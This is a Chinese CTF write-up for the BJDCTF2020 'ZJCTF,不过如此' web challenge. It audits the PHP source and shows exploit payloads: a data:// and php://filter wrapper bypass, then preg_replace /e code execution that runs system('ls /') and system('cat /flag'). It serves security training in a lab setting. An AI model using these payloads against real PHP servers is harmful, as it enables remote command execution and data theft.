首页 > 其他分享 >[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

时间:2023-10-09 19:22:54浏览次数:45  
标签:php getFlag 不过如此 ZJCTF text next file BJDCTF2020 payload

原理

关于preg_replace \e的代码执行
双引号和单引号的区别
可变变量

解题过程

代码审计

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

绕过file_get_contents($text,'r')==="I have a dream"的payload:text=data:text/plain,I have a dream
接着读取next.php内容的payload:file=php://filter/read=convert.base64-encode/resource=next.php

拿到源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里涉及preg_replace的代码执行
payload为
next.php?id=aa&\S=${getFlag()}&cmd=system("ls /");
next.php?id=aa&\S
=${getFlag()}&cmd=system("cat /flag");
参考文章:https://blog.csdn.net/m0_64815693/article/details/130327529
https://www.php.net/manual/zh/language.variables.variable.php
https://xz.aliyun.com/t/2557

标签:php,getFlag,不过如此,ZJCTF,text,next,file,BJDCTF2020,payload
From: https://www.cnblogs.com/BEONTHE/p/17752939.html

相关文章

  • [ZJCTF 2019]NiZhuanSiWei
    原理反序列话伪协议data和filter解题过程进入靶场看到源码<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf"......
  • [BJDCTF2020]Easy MD5
    原理抓包看源码select*from'admin'wherepassword=md5($pass,true)的绕过md5==的弱比较问题md5===的弱比较问题解题过程进入靶场看到输入框,随便输几个传递参数:leveldo4.php?password=xx。但是怎么输都没有反应,页面原代码也没有提示,抓一下包看看发现有提示,好隐秘--......
  • Buuctf——[ZJCTF 2019]NiZhuanSiWei
    审题进入题目链接发现是白盒审计<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf")){echo"&l......
  • 数据结构与算法——栈和队列<也不过如此>
    ......
  • [ZJCTF 2019]NiZhuanSiWei
    [ZJCTF2019]NiZhuanSiWei题目来源:nssctf题目类型:web涉及考点:PHP反序列化、PHP伪协议1.还是日常代码审计<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r&#......
  • BUUCTF:[BJDCTF2020]EasySearch
    index.php.swp发现源码<?php ob_start(); functionget_hash(){ $chars='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random=$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_ran......
  • WEB|[BJDCTF2020]EasySearch
    扫描发现为index.php.swp源码泄漏<?php ob_start(); functionget_hash(){ $chars='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random=$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[......
  • Crypto|[BJDCTF2020]easyrsa
    rsa_task.pyfromCrypto.Util.numberimportgetPrime,bytes_to_longfromsympyimportDerivativefromfractionsimportFractionfromsecretimportflagp=getPrime(1024)q=getPrime(1024)e=65537n=p*qz=Fraction(1,Derivative(arctan(p),p))-Fraction(1,Derivat......
  • Crypto|[BJDCTF2020]RSA
    task.pyfromCrypto.Util.numberimportgetPrime,bytes_to_longflag=open("flag","rb").read()p=getPrime(1024)q=getPrime(1024)assert(e<100000)n=p*qm=bytes_to_long(flag)c=pow(m,e,n)printc,nprintpow(294,e,n)p=getPrime(1024)......
  • re/【unity】游戏逆向首试 [BJDCTF2020]BJD hamburger competition
    本题是是一个unity游戏,而且是以c#和.net编写尝试直接用idea进行反汇编,但是没有找到运行逻辑,后来在大佬的wp上发现是利用dnspy对c#的dll文件进行返回编,进而获得结果。反汇编BJDhanburgercompetirion_Data中的Assembly-CSharp.dll即可获得如下代码段:可以看到先利用sha1进行加......